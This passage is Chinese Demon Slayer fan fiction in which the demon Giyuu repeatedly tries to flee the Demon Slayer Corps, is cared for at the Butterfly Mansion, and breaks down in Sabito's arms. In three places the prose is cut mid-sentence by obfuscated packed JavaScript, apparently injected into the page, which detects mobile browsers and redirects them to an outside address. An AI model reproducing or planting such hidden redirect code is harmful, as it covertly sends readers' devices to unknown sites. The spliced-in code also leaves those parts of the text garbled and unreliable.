猫头鹰剑士在另一边挡住去路:“鬼先生……还是叫义勇桑吧!义勇桑醒了啊真是太好了,但为什么突然要走呢?锖兔桑一直在等你呢!伤刚好就剧烈运动不利于恢复哦!我不认同这种生活方式!” 义勇:“……”虽然猫头鹰剑士很好,但如果不出现就更好了。 猫头鹰剑士很强,义勇压力陡增,虽然不明白两个人类为什么不下死手攻击他,但这样磨下去他很难逃出去。义勇稍微有一点着急,焦躁让他想暴力地突破封锁离开,于是他手臂用力一甩,爪子卡住蝴蝶的日轮刀力气一转把刀卸掉扔到另一个方向,体型恢复到原来的状态,侧脸的纹路也瞬间出现。转瞬间恢复到了力量最强的状态,没有人可以阻挡他回家。 两人的神情也严肃了起来,一前一后和义勇交手,大部分时间都在对峙,准确来说是单方面对义勇进行劝说。 “鬼先生,真的不能好好留下来休息吗,我可并不想伤害鬼先生哦。” “对啊!冲突解决不了任何事,我们坐下来好好聊聊吧义勇桑!”他们都不想在同伴不在的时候把他很重要的人弄丢。 义勇一直很冷淡地没有回应,如果蝴蝶和猫头鹰能乖乖让开就好了。 既然不想和自己动手,那就主动冲上去。义勇左手出现一把水刀,划了一圈格挡开蝴蝶的日轮刀,用不会使人受伤的力气用手臂斜着把蝴蝶推开,径直朝着猫头鹰剑士的日轮刀撞了上去。他笃定猫头鹰剑士会避开,果然炼狱杏寿郎瞳孔骤缩,在要撞上的前一刻紧急收招——义勇觉得不收招也没关系只要不死就好,下一刻身体前倾,额头对着猫头鹰剑士用力砸了下去——义勇真诚感谢绿色少年给他的启发。猫头鹰剑士捂着额头站立不稳,义勇顺利突破了封锁,穿越了竹林。 38 义勇成功了! 他变成一只自由的鬼了! 义勇很满意。 没有了阻碍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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义勇:“……!”他睁大眼睛,下意识捞住了面具,剑士不知为何收了刀所以他没有被砍到,义勇整个人被从空中拽下摔到了地上,暴躁剑士用日轮刀指着他,低沉道:“别动,安静呆着。” 义勇:“……”他只能紧握着面具躺在地上一动不动。 猫头鹰剑士和蝴蝶也要过来了,义勇的视野里已经有了他们的影子。暴躁剑士一动不动地用刀指着他,义勇没理会,只是紧抓着那个对自己很重要的面具,一直跟在自己身边,很重要的、因为它自己还被剑士抓住绑起来的、很珍惜的面具。 每次戴上它,义勇就好像做回了人类的自己。所以,一直非常珍惜,把它当做自己渺小的归宿。 可是现在面具彻底坏了,义勇只是眼睛一眨不眨地、呆呆地抓着碎成两半的面具。他不知所措地抚摸着面具的断面,感觉自己失去了很重要的东西,整个人被一阵难过和失落包围了。 鬼放弃逃走了。不死川实弥听到身后的动静回头,知道同伴们要赶来了,暗暗松了口气,想收回刀先把似乎被他震慑住变得听话的鬼绑起来,就听到了蝴蝶忍和炼狱杏寿郎急切的提醒。他猝然转身,鬼不管不顾地朝着刀刃撞了过来,不死川实弥紧急偏转刀刃还是避不过,鬼的胸口到脖颈被划出一道狭长的伤口,但鬼毫不在意地任由自己受伤,坚持着站起来抓住他给了他一拳。 “……”不死川实弥被打偏了头,眼中全是不可置信。头一寸寸扭过来,看着炼狱杏寿郎跳下来卡住鬼的手臂,麻醉剂从颈部注入,鬼的脸上,那双染上怒意的眼睛也不甘地闭上,彻底安静了下来,只是闭上前还在瞪着他。 “啊呀,这次多谢帮忙~只是不死川先生,似乎被讨厌了呢。”蝴蝶忍手指抵住嘴唇开着玩笑。 “哈哈,是这样没错呢!实弥桑你刚刚做了什么?”杏寿郎依旧爽朗。 他充满阳光地把鬼背起来,“感觉义勇桑面对我们两个的时候并没有生气呢。” 义勇桑义勇桑义勇桑……不是个鬼吗几天不见你们称呼都改了……不死川实弥忍不住脸上青筋暴起,用恐怖的眼神盯着恢复成小孩子形态的鬼,心头火起却有气没处撒,只能咬着牙,发出了能止小儿夜啼的恐怖声音。 “我、怎、么、知、道!” 7. 彩蛋 【回程】 因为箱子破损,锖兔是等隐成员带着新的箱子赶到后才带义勇一起回去的,炼狱杏寿郎因为要汇报任务情况提前赶回,炭治郎他们倒坚持和锖兔一起回,理由是防止再遇到鬼的袭击。 锖兔背着箱子笑道:“别把我当病号了啊,别看我这样还是能轻松搞定你们几个的。” 虽然肋骨断了但好在没刺入肺里,赶来的医生为此还把正紧紧抱着义勇奔跑的他狠狠骂了一通。不影响行动,锖兔婉拒了伊之助和善逸帮他背箱子的建议,他看着他们的样子,觉得伊之柱只是想学炭治郎一样背箱子,觉得这个游戏很好玩,黄色尖叫少年则不一样,一副战战兢兢却还是努力逼自己说可以帮忙背箱子的样子。 “喂——中分小褂!把那个长条盒子放到俺身上!俺要和权八郎一较高下!”伊之助快速用手比划着,不停骚扰着锖兔。 太幼稚了锖兔懒得理他,把他当小动物一样忽略掉了。 炭治郎苦口婆心:“伊之助!不要给锖兔桑添麻烦!”虽然他也没搞明白要和伊之助比什么。 “我、我我没有受伤,力气很大跑得也快,我的意思是我可以帮忙背那个箱子!”——善逸揪住锖兔袖子的一角,非常怕自己会后悔所以不管不顾地吼出来了。 他现在也不太怕箱子里的鬼了,而且水柱因为战斗也很辛苦,想替水柱背箱子的念头就一直在脑子里勾引他。 完了自己真的说出来了,接下来会不会被塞一只鬼,啊啊啊为什么自己要多嘴但是骨头断了他没痛觉吗!……善逸说完后内心纠结的小人立刻开始互相打架,他要纠结死了,结果水柱意外地看了他一眼朝他笑了笑背着箱子继续走了。 善逸:“……”他真的很想敲一敲自己的脑袋。 他窝窝囊囊地跟在水柱后边,像个受气包一样(虽然并没有人对他生气)试探着想拽住锖兔的羽织问问要不要自己帮忙背箱子,伊之助还在不停用拖拉机一样的嗓音和炭治郎纠缠着一较高下。善逸本来就纠结,更烦的要受不了了,水柱突然停了下来,善逸因此头撞到了箱子上吓了一跳,惊叫出声。 一直很平和的锖兔忍不住大声训斥:“聒噪!”跟在附近的隐成员看到野猪小伙立马立正,随后被水柱一个爆栗,扑通一声跪了下去,眼神都变得清澈了。 “已经成为鬼杀队一员要保护别人了,一直懒懒散散像什么样子!吵吵闹闹等回到总部再说!” 伊之助:“……”伊之助停止了思考,乖乖跪着听训,炭治郎没犯错,却也跪在一边不停道歉,说着下次不会再犯了,一边老妈子一样不停对着伊之助念经。 善逸:“……”心好累。 善逸笃定和自己无关,但还是迫于锖兔的气势从心地并排跪下来听从批评,同时在心里哭着骂了伊之助一万遍。 跟着赶路的隐成员都看着他们这边,三人跪在地上唯唯诺诺,被教育了也只敢小鸡啄米地点头。鬼杀队以从容强大出名的水柱恨铁不成钢地对他们指指点点,猪头少年还被训得摘掉了头套,乖乖抱着头套表情呆滞地听水柱讲话。隐成员们不禁相视一笑,露出幸灾乐祸的八卦笑容。 【会议】 即使有了主公的首肯,带一只鬼回鬼杀队总部还是需要开柱合会议确认。因为有了祢豆子的先例,加上无限列车任务的汇报中提到的鬼的巨大贡献,大家对义勇倒没有多少不满和敌意。 担心水柱箱子里的鬼再遇到和祢豆子一样的事,炭治郎强烈申请到场,证明鬼绝没有吃人。 炭治郎坚定道:“我闻到了他的气味,很安静很温柔,是干净的、毫无血腥味的气息!所以鬼先生和祢豆子一样,绝没有吃过人!” 继祢豆子之后,锖兔再次毫不犹豫地发誓:“我愿为富冈义勇担保,义勇之前没有,未来也不会伤害人类,我会作为监护人确保这一点,若义勇有一天失控杀死了人类,我会……亲手杀掉鬼,然后切腹谢罪!” “……” 众人震动,一时间谁也没说话,还是蝴蝶忍打了圆场,让锖兔到阴暗处打开箱子看看义勇的情况。 义勇很安静地沉睡着,锖兔害怕他自伤还给他戴了口枷,过长的袖子也替他挽起来,变小的鬼保持着很有安全感的姿势蜷缩着。 “……”蝴蝶忍端详了他一会儿没有出声。 伊黑小芭内抄着袖子观察,“他很虚弱。” “嗯!毕竟帮我们牵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557054|186887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制了上弦鬼,非常了不起的成就,也非常辛苦!我还没来得及感谢他呢,要好起来啊!” “嗯,不知道这次要睡多久。”锖兔平和地扫过几位柱,他们神色平静,不死川也只是离了些距离,平静地望着这边,主公也在屋里含笑望过来,他知道这算是同伴们隐晦的认可了,也替义勇感到高兴,于是很温柔地碰了碰义勇的脸。 很久以来一个人一定很辛苦了,之后就安心休息吧。 【蝶屋】 考虑到自己会不定时离开出任务,锖兔没有把义勇安置到自己的住处,而是把他送到了蝶屋。 炭治郎训练的时候也会把妹妹送到蝶屋拜托照看,义勇就住在隔壁的屋里,屋里隔绝了阳光,白天晚上都一样昏暗。 水柱先生送来的鬼似乎受了很重的伤,很虚弱一直在昏睡,被水柱从箱子里抱出来的时候都没有惊醒。很小一只,沉睡的样子很乖,平时也很安静,好像不存在的样子。小清有时候想把鬼的口伽摘掉让他更舒服些,水柱先生却摇摇头,接着说‘如果做了噩梦,义勇会把自己咬伤的’,然后说‘义勇总是否定自己,让自己受伤,但其实很喜欢别人找他聊天呢’这样的话,很温柔很无奈。 小清小澄菜穗于是经常来找沉睡的鬼先生聊天。鬼先生据说原来和水柱先生一样高,只是暂时变小了而已,但是鬼先生还是会像小孩子一样蜷缩起来呢,果然和水柱先生说的一样很没安全感啊。于是三个姑娘陪着义勇聊天的时候,往往有一个会靠在床边握着他的手,忍不住了还会给义勇编一个小辫子,虽然很快会被蝴蝶发现后笑着拆掉,再观察一下义勇恢复的情况。 蝴蝶姐姐总喜欢说:“鬼先生跟鳞泷先生很不一样呢。” 蝶屋里人来来往往,姑娘们一直很认真地在照顾义勇。 今天水柱先生去做任务了哦……伊之助打破玻璃被蝴蝶姐姐教育了……炭治郎带着祢豆子来玩了哦、带了花束……善逸先生来的时候总是没话找话的样子,很扭捏呢。炼狱先生还问过您的情况。 ……多和您聊天这样还会孤独吗…… 以后可以像祢豆子一样,和我们做朋友吗…… 醒来之后一定要笑一笑哦。 8. 第 8 章 40 义勇还是第一次体验被麻醉剂控制的感觉,困意铺天盖地袭来,用不上力气,眼睛也不受控制的闭上,全身感官都昏沉朦胧,让他想起了最初意识混沌时期的一些零碎记忆。 ——他在某一天早晨忽然产生了意识,意识到自己是一只鬼,当时的自己不明缘由地感到非常悲伤和痛苦。太阳美丽而恐怖,怎么跑也跑不过阳光,他一边痛苦喘息着一边飞奔,那是一段差点被烧死的经历。 现在的他意识昏沉,好像回到了过去,只是过去的记忆里没有蝴蝶和猫头鹰剑士,没有一直追着他砍的暴躁剑士,等待他的只有灿烂至极的阳光。 人类剑士没有用日轮刀砍断他的手脚,似乎是猫头鹰剑士的人类把自己背了起来,蝴蝶走在一边说着话,义勇什么也想不明白了,只觉得猫头鹰剑士的头发很长很软,就像猫头鹰羽毛一样。 被炼狱杏寿郎背着,义勇回到了原来的房间。 41 蝶屋的成员们最近很忙。 虽然平时也总有队员们杀鬼受伤需要治疗修养的情形,但那和这次不一样。没有多余的伤员,只是一个特别的、水柱先生带来的鬼。 在他们印象里一直安安静静没有苏醒迹象的鬼在前几天夜里突然醒了,这应该是件好事吧,可他醒来的第一件事居然是逃走!?虽然最后成功被几位柱拦下来了,但那只鬼似乎很抗拒,找到机会就会试图逃走,鬼杀队不得以加强了蝶屋附近的警备,时不时有几位柱在附近若无其事地转来转去。 鬼在那之后又尝试了几次逃走,无一都被守在蝶屋的队员们或柱们拦住了,被拦住的时候鬼先生总会特别焦躁,完全顾不得自己会受伤,蝴蝶忍不得不用麻醉剂强制他安静下来。 蝴蝶忍也感到无奈,麻醉剂的效果只是暂时的,若每次都要为了防止鬼先生逃走给他注射麻醉剂,次数多了也会对身体有影响。 现在鬼先生难得平静下来了呢,蝴蝶忍在门外等了一会儿才敲了敲门,放轻了声音道:“鬼先生,应该是醒着的吧,我可以进来吗?” 果然没有回应,蝴蝶忍驾轻就熟地打开门进去,还是原来那间屋子,只是窗户都被木板钉死,即使在白天也照不进阳光,少年形态的鬼背对门口窝在一处隐蔽的角落里,不仔细找的话很难找到。 她关上门后找了一圈找到义勇后放轻了脚步,在离义勇一段距离的地方停下:“鬼先生,不介意的话能和我聊一下吗?” 义勇:“……” 义勇圈起膝盖独自窝在角落,逃跑失败心情低落的时候,就这样一个人安静待着。如果能一直这样待着不被人找到就好了,可蝴蝶每过一会儿就会来找他,让他有点无奈。 和蝴蝶类似的还有一只头发颜色很新奇一身怪力的女性剑士,特意来找他搭话,强调了很多次自己的名字希望他记住。她走之后,一只绷带遮脸的剑士还来找过他,说“不许和甘露寺那么亲近地说话”。义勇为此很困惑,来和他搭话的蜜璃被他划分为很不错的人,他没想到蜜璃剑士会被绷带剑士讨厌。蝴蝶也经常和自己搭话,一脸微笑却总皱着眉,蝴蝶到底在想什么呢。 蝴蝶在身后声音很轻柔地说话,义勇安静听着,很多话都无法理解。为什么有人在等他他就要留下来,在他的记忆里没有会等待他或让自己等待的存在……他只是想回家而已,不会做其他坏事,却还是被人类剑士们关在这里。 不想被关着,他很想回自己那个山洞里像以前那样生活,但每次试着逃走都会被抓住,不是被一群弱小的人类剑士团团围住就是被猫头鹰剑士一样的柱控制住,蝴蝶还会用针筒让自己睡着。面具也因为逃跑彻底坏了,他怎么也修不好,义勇抚摸着藏在怀里的面具,自己什么都保护不好。 义勇陷入了自闭,也不想理总抓住他的人类剑士们了,任由蝴蝶怎么劝说都很冷淡,没有回应。 蝴蝶忍不得已停下来不再说话了,她看着一动不动呆在角落里的鬼,似乎是缺少安全感,或者为了节省精力准备下一次逃走,鬼先生总会保持年纪很小的少年状态,……鬼先生自己安静地待在角落里的样子和祢豆子不一样,带着拒人于千里之外的冷漠,却没有攻击性。 “……不要拘束,这里没有人会伤害鬼先生哦,我希望鬼先生可以安心地在这里休息。” 她轻轻关上门走了出去,让鎹鸦给外出的锖兔送去了说明情况的信。 锖兔因为归属他的鬼杀队驻地区域出了点麻烦前去解决了,蝴蝶忍本以为他会很忙无法定时回信,出乎意料的是,锖兔的回信很快就到了。 他在回信中说明自己已经了解,感谢了同伴们对义勇的照顾和及时拦住义勇出走的举动。即使没有解释,鬼杀队大部分人也都能理解他执着地要把变成鬼的亲人留在身边的决心,就和灶门炭治郎一样,没有人会把需要照顾的家人抛弃到一边自己前进,而且这位重要的家人还不会照顾自己,容易受伤,喜欢一个人舔舐伤口。 这样一想鬼杀队众人对水柱及家人的关系更能理解了呢,一边期待着水柱早些结束任务后回来,一边询问如何和水柱的家人沟通(毕竟义勇实在是冷冰冰难以接近),水柱的笔迹停滞了一下,大家都能想象出他在信另一头挑眉一笑的样子,水柱说“多和他聊聊天吧。” “折道办些事,我会很快回来。” 42 义勇再次遇到了无法解决的难题。 一开始他只是想自己呆着,于是放空了心情在角落里数着墙角地上的蚂蚁,不知多久后一只豆豆眼的人类女孩试探着敲门走了进来,怯生生地说自己是来打扫的。 义勇:“……”义勇看了她一眼,不想交流选择继续放空自己。 可女孩轻手轻脚地打扫完了还不离开,试探着走近他从旁边架子上拿出一本书。 “我可以……在屋子里看书吗?” 女孩的声音轻柔稚嫩,说话时语调轻得像山上的雀鸟。 义勇:“……”他感到不知所措,因为在他看来这不是需要询问自己的话题,自己作为俘虏也没资格做什么决定,但女孩只是用坚定而期待的眼神望着他。义勇不知该怎么回复,只能垂下眼睛点了点头,于是女孩很开心地坐在他旁边读起了书。 女孩没有和自己搭话的意思,义勇松了口气,可不等他放下心,一只接一只的人类女孩敲门后很小心地走了进来,给自己找了点事情做之后都找了个旁边的位置坐下来读书。几只戴着蝴蝶发卡的女孩读书时有时遇到生疏的字,互相交流一番后陷入了困惑,又都试探着将目光投向背对着她们的义勇。 “……”义勇如芒在背,想当做看不见,女孩子们就用那种要哭了的可怜眼神望着他,义勇被看得坚持不住了,默默摘下口枷解答她们的疑惑。简短清冽的声音在空气中传荡,这是义勇第一次主动说话,女孩们出神地望着面若冰霜的鬼,忽然更加热情了。 义勇:“……”口枷摘掉后就没机会再戴上,女孩子们眼神亮晶晶地围到他旁边坐下一起看书,义勇站起来想换个位置,蝴蝶女孩们用小心翼翼的眼神望了过来。 您不喜欢这样吗、对不起、打扰到您了、我们出去找别的地方吧…… 明明没有动作,女孩子们给义勇的感觉,却好像做错了事要拉住他的袖子道歉。 义勇:“……” “……没有被打扰。”他垂下眼睛低声说。 义勇默默缩回到阴影里,加入了蝴蝶女孩们,和她们一起围成一圈看书。他满脸萧瑟地圈起膝盖,像仓鼠一样窝起来,祈祷蝴蝶女孩们能把自己当空气一样无视。 如果在他旁边的是黄色蒲公英少年他们就好了,就不会有这么多顾忌,义勇默默祈祷着。 43 义勇正在看月亮。 他有点后悔,不应该随便许愿的。这是被拽着到长廊上看月亮时,义勇的第一想法。 蝴蝶女孩们就算了,义勇不理解为什么绿色少年和黄色蒲公英少年也这么幼稚。他在白天单方面被女孩们告知绿色少年他们结束了训练任务会来蝶屋休息一段时间,义勇没在意,觉得和自己没关系,结果晚上绿色少年就拉着黄色蒲公英少年来屋里烦他。 绿色少年把妹妹放了出来和他一起笑眯眯邀请他出门,“义勇桑——我们去外面看月亮吧~” “今晚的月亮超级亮超级圆是吧善逸?”绿色少年大声说着一边张开手臂比划着,蒲公英少年站在一边弱弱称是。 义勇不想和站在剑士一边的人类少年们说话,可绿色少年像感受不到他的拒绝一样贴了上来。 义勇往后退他就跟上来,后退前进、后退前进就这样绕着屋子倒退了好几圈,义勇都有点绕晕了绿色少年还是那么热情,真诚地和他说话,就像人类社会里哄家人开心的可靠的哥哥。 他在把自己当需要照顾的弟弟看吗?义勇有点不自在,心里涌起一股奇怪的心情,不想再和他们待在一起了,被俯视的感觉很怪异,于是他冷着脸恢复成原来的形态,冷淡地看着人类少年们,希望他们能知难而退。 “我和你们不一样。”他冷淡道。 他冷淡地俯视着绿色少年,忽然身体一沉,被鬼妹妹从身后抱住了腿,义勇:“……!”他呆住了,浑身僵硬,惊讶地看着脚下。他试着把腿抽出来,结果失败了,鬼妹妹总会一边发出不满意的呜呜声音一边追上来抱住。 “……” 义勇面无表情地盯着面前两个少年,黄色蒲公英少年激动地炸着毛,义勇不明白他为什么忽然对自己热情了许多,语无伦次地指着这边。他这么热情,却没有要解救自己的意思,义勇对蒲公英少年很不满意。 绿色少年完全不害怕,走过来抓住了他的手腕,眼里没有一丝阴霾,歪着头温柔而宽容地望着他们,“祢豆子也是这么想的是吧~祢豆子也想和义勇桑一起玩呢~太好了义勇桑我们一起出去看月亮吧~” 义勇:“……”脸色更冷了,有点无措地被人类少年们半推半拉着走出了门。 义勇对两只人类少年很不满意。 而炭治郎看着被“富冈先生大作战”计划打动的面带迷茫的鬼,长着翅膀的天使小人儿围绕着义勇快活地转着圈。 44 义勇以为自己会遇到一批敌视自己的人类剑士,结果附近空无一人,只有他们几个坐在长廊上看月亮。准确来说只有除自己以外的三人在看,义勇一直很清醒地维持着自己俘虏的身份,不想擅自破坏人类少年那边的气氛,只盯着远处的出口发呆。 不知哪钻出来的野猪少年满院子打滚,或者用头撞墙,嘴里发出义勇无法理解的声音,黄色蒲公英少年扭扭捏捏地坐在一边想说话,义勇对他很失望所以没有理会,只是自顾自看野猪少年表演节目。忽然手一热,绿色少年不知何时挪了过来,给他的手里塞了一根線香花火。 “义勇桑,拿着这个试试吧,会很好看哦~”说完不等他拒绝就点燃了花火,小巧绚丽的花火在义勇的眼中绽放开,不曾出现在鬼的世界里的美丽让他睁大了眼睛。 “喂炭八郎俺也要!” “呜哇我也要一根给祢豆子放~” “义勇桑,很美吧~是不是很喜欢呢?”绿色少年眼睛亮亮地看着他。 “……”义勇看着他们没有回答,莫名的心情在心里涌动,他想探究明白,于是看着空掉的掌心发呆。忽然又被塞了一根花火,绿色少年似乎以为他很喜欢花火,充满耐心地帮他点燃一根又一根。义勇稍微有点受惊,张了张嘴看着少年们单纯的脸。 本来因为绿色少年和鬼杀队其他人类总妨碍他回家,他的态度一直很冷淡,可现在心中感受到的来自他们的一大团情绪,分明不是恶意。他很迷茫。 为什么要对我好。 我只是一个鬼。 自己只是一个鬼却被善待了,这绝对是非常值得庆幸的事吧。 可是,义勇移开视线,认真地望着手中的花火,说不清的情绪在心中翻涌着,越来越困惑。 直到一阵熟悉的脚步声突然响起,义勇猝然抬头,看到了从容坚定,正大踏步迈进门口的锈发剑士,左顾右盼,行动间竟带着一丝急切。 “……?” 义勇歪着头有些迷茫地望着剑士,剑士在找什么东西吗?他维持着放花火的动作一动不动地观察,就看到剑士的目光逡巡了一圈后直直钉在了他的身上,然后再也没有移开,一往无前地朝他快步走了过来。 义勇:“……”他好像知道剑士的目标了。 义勇霍然起身,一言不发找了个方向就逃,剑士和人类少年们也被血鬼术影响,远远落在了身后。 45 义勇在逃跑,虽然自己也不清楚原因为何,但一被剑士那双眼睛盯住,他就无法忍受,所以第一时间选择了逃避。 但是逃跑也没有用。 剑士只是稍显意外,随后速度全开地追了上来。胡乱奔跑的过程中挡路的架子被推倒,义勇无暇理会被冲击吓到的发出惊叫的人类,他只想顺着心情逃避下去,可是这点愿望也因为剑士无法实现。在冲出蝶屋穿越竹林时,剑士追上来擒住了他的手腕。 “为什么要逃!?” “……!”义勇另一只手锋利的指甲伸出划向剑士的脸,剑士不得不后仰松开了他的手腕,又立刻追上去紧紧咬住,两人就在狭窄的竹林间打斗起来。 “血鬼术·凝聚之水。” 水流形成的牢狱自上而下将人类包裹,剑士猝不及防下被困住,眉头紧皱地盯着他,透过水牢不停在朝他喊什么。血鬼术难以破解,加上蝶屋今晚人员稀少,义勇后知后觉地意识到也许这次可以成功了,虽然他本来不打算今晚逃跑,还真是误打误撞呢。 剑士吃瘪,义勇稍微有点开心。 他特意走上前和死死盯着他的剑士告别,“剑士,我该回家了,再见。你若感兴趣,可以再抓其他的鬼。”剑士很好,他真诚地祝愿剑士可以抓到满意的猎物。 义勇最后扫了他一眼,随即转身。 就这样吧,这次真的永别了。义勇踩着竹子向外飞奔,内心平静,他刚从竹梢跃起,突然感到一阵强烈的冲击,蜂鸣声起,刀光掠过,一把疾速飞行的日轮刀将他从半空射落,精准地擦着手臂把他整个人钉到了地上。 ——!义勇被巨大的冲力甩到地上,全身钝痛,用强大的意志力爬起来,蓦然回头,看到了失去从容、浑身狼狈的剑士。剑士拼尽全力,只用了瞬间就突破封锁,正目光灼灼朝他追过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557055|186887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,势不可挡。 有这么紧张吗?为什么要不顾一切?义勇很困惑。他不敢相信,太荒谬了,为了拦住他剑士竟然主动弃刀,不怕失去武器被他回手反杀吗。他动摇了,气势减弱,扯断被钉住的袖子,无措地倒退着看着剑士越来越近。手腕有好几次要被抓住,义勇受了刺激剧烈反抗,给剑士的手臂留下了几道伤口,即使如此剑士还是不用日轮刀,只赤手空拳地到处围堵他。 他不想打架,却一直被剑士纠缠,不想看那张让他迷茫痛苦的脸,这个人类却总是抓住他不放开。不想伤害剑士,剑士却丝毫不顾及会受伤冲上来让他无法逃离,他一边努力躲避着一边想,剑士真是个奇怪又麻烦的人类。 剑士奇怪又麻烦,于是像前几次一样,在剑士面前的莫名弱势加上重伤初愈的虚弱,义勇很不情愿地再次被剑士击败,被剑士拧住手腕牢牢压在了地上。剑士整个人扑在他身上,用力锁住他的双腿,义勇无处脱身。 剑士在打架时还在絮絮叨叨朝他喊着各种话,现在抓住了他,又皱紧眉头盯着他,问他有没有受伤为什么要逃走之类的。 “……”义勇有点别扭,他拒绝回答,脸也安静地撇到一边,又被剑士强硬地掰回来被迫直视他的眼睛,空闲的一只手碰了碰他的额头。义勇还是不说话。 剑士急切道:“怎么不说话?受伤了?不是说伤好了吗?有哪里疼吗?” “听话!不要动让我看看!”剑士又在皱着眉一边训斥一边扒拉他了。 义勇安静地任由剑士动作,眼睛一眨不眨很听话,他真诚地望着剑士,“放我走吧。” 心中怀着希望。 46 ——“放我走吧。” 他真的很想回家。而且剑士其实是个很好的人,认真说了应该能理解他吧。 可剑士就是不放过他。剑士果决道:“不行!我不放心你!” 又放轻声音关切道:“……我们先谈一谈好吗?” “……” 义勇没听之后的话,在剑士拒绝后就再也听不见别的话了。他惊愕地睁大眼睛,瞳孔都在颤抖,剑士怎能说出这样的话。我那么相信你。 一股突然的悲伤和不甘吞没了他,长久以来压抑的愤怒和不安破土而出,攻克了这幅脆弱的躯壳。义勇突然爆发了力量,翻身而起,不停反抗,锖兔也因此惊愕不已,松开了桎梏。 “……”义勇脸埋得很低,拳头握紧。 他要被压抑地爆炸了,受再重的伤都在所不惜,在失去理智地对着剑士发泄情绪。竹林因为打斗翠竹倾倒,灰尘四起。 剑士似乎很惊讶,控制他的动作停了下来,反被义勇一击命中压在身下。 “为什么……”为什么总是你。 义勇很生气,浑身颤抖,失控地跪着压在剑士身上像人类一样单方面发泄着要将他压垮的情绪。他伏低身体掐住剑士的脖子,剑士从刚才起就没再反抗了,义勇看不清剑士的表情,一味地觉得剑士很过分。 哭了?锖兔呆住了,什么动作都停下来,什么都不在乎,躺在地上看着在自己身上安静掉眼泪的鬼。 视野模糊,义勇崩溃地俯视着剑士,用力掐着他的脖子,为什么,为什么每次都是剑士,每次剑士都让他无法脱身,为什么剑士总执着于他,只要遇到了剑士,自己的一切努力都会白费,想控制情绪也做不到,想回家也回不去,明明剑士也知道他不会害人的。 讨厌的剑士,哪怕当初把自己杀掉也好,自己也不会像现在一样焦躁痛苦。讨厌的剑士,被掐住脖子也不挣扎,因为知道自己绝对下不了手吗。 剑士只顾着自己的心情做事,剑士是一只不仅专门针对自己,还霸道又不讲道理的人类。 他冷冷道:“我……我真的”很讨厌你。可他连讨厌剑士这句话都说不出来,所以无法讨厌剑士的自己最没用了。 ……为什么在你面前我总是狼狈不堪。 “……” 义勇松开了按着锖兔脖子的手,直起身体的瞬间,碎成两半的面具从怀里掉了出来。 锖兔始终坚定的表情彻底动摇了,被心疼与惊愕填满,嘴唇张合,大脑空白。 义勇努力平静了下来,要冷淡地走开,跪着的腿一动想站起来,突然的巨力袭来,始终沉默的剑士忽然拽住了他,义勇被拽着直直摔下去砸到剑士怀里,剑士紧紧搂住他躺倒在地上,一下一下安抚地拍着他的背。 “我很抱歉,”锖兔被义勇崩溃的样子吓到了,紧紧抱住他,很认真地反复对他道歉,他望着头顶的夜空,“回来晚了我很抱歉。”让你感到不安我很抱歉。 义勇:“……”被按着看不到剑士的表情,剑士紧箍着他,声音却很轻,不停和他说话。 “不要怕,不要担心,是我不好。” “我一直很怕你出事,怕你离开一去不回。让你难过了都是我的错,对不起。是我太着急了,信里说你的状态很不好。” 挣扎不开,义勇眼睛半阖,有些泄气地靠在剑士身上,脸埋进剑士温热的脖颈,感受着剑士说话时传来的震动。反正也不是第一次了。 锖兔一遍遍不厌其烦地安慰着怀里的鬼,耐心哄劝他,“我不在的时候发生了什么事吗?我真的很担心……义勇能稍微相信一下我,告诉我你在害怕什么吗?” 义勇的神经瞬间绷紧,最初的记忆如潮水涌上心头。 47 “……” 他居然记起了最初的一些事。 很奇怪,就像婴儿不会拥有襁褓时期的记忆,意识混沌时那些光怪陆离、五光十色的记忆按理说早已遗忘,可义勇就是在现在想起来了。原来自己在最开始就遇见过那对夫妻了。 几乎被晒死时遇到的那个女人、被躲进棚子里血肉模糊的怪物吓到也没有驱赶、小心翼翼为自己端来清水和食物、感受不到害怕一样,和她辨别不出危险,被鬼跟踪了也一无所知的笨蛋丈夫。 没有自己保护很快会被鬼吃掉的弱小的人类。 所以自己才一直想回家,因为那里是自己重要的归处。他恍然大悟。 原来会有对自己这么重要的人类,一想到他们会死自己就难以承受。 不想看到剑士死去,不想要笨蛋夫妻死去,不知不觉有了对他而言无比重要的存在,所以一直恐惧和不安,一直害怕会孤独一人。 “我……” 义勇被这些觉悟冲击得内心惶惑,睁大眼睛不知所措地趴在剑士胸口紧紧揪住他的衣服,女人熟悉的温柔声音传入耳朵——是有多想念这些人类,才会一直在心里听到他们的声音。 “富冈先生……富冈先生”女人温柔的喊声。 还有剑士轻声安慰他的声音。 ——“……富冈先生!” “……!” 义勇猛地坐了起来,没有被阻止,他很无措,不知道发生了什么,只能求助地看着剑士。剑士始终躺在地上专注地看着他,此刻笑得意气风发,把他转了一下让他看向另一个方向。 “……!” 义勇怔愣地望向那边,不远处那对笨蛋夫妻正朝他招着手,绿色少年蒲公英少年野猪少年还有几只蝴蝶跟着一起,一群人类吵闹着蜂拥而来。 9. 第 9 章 48 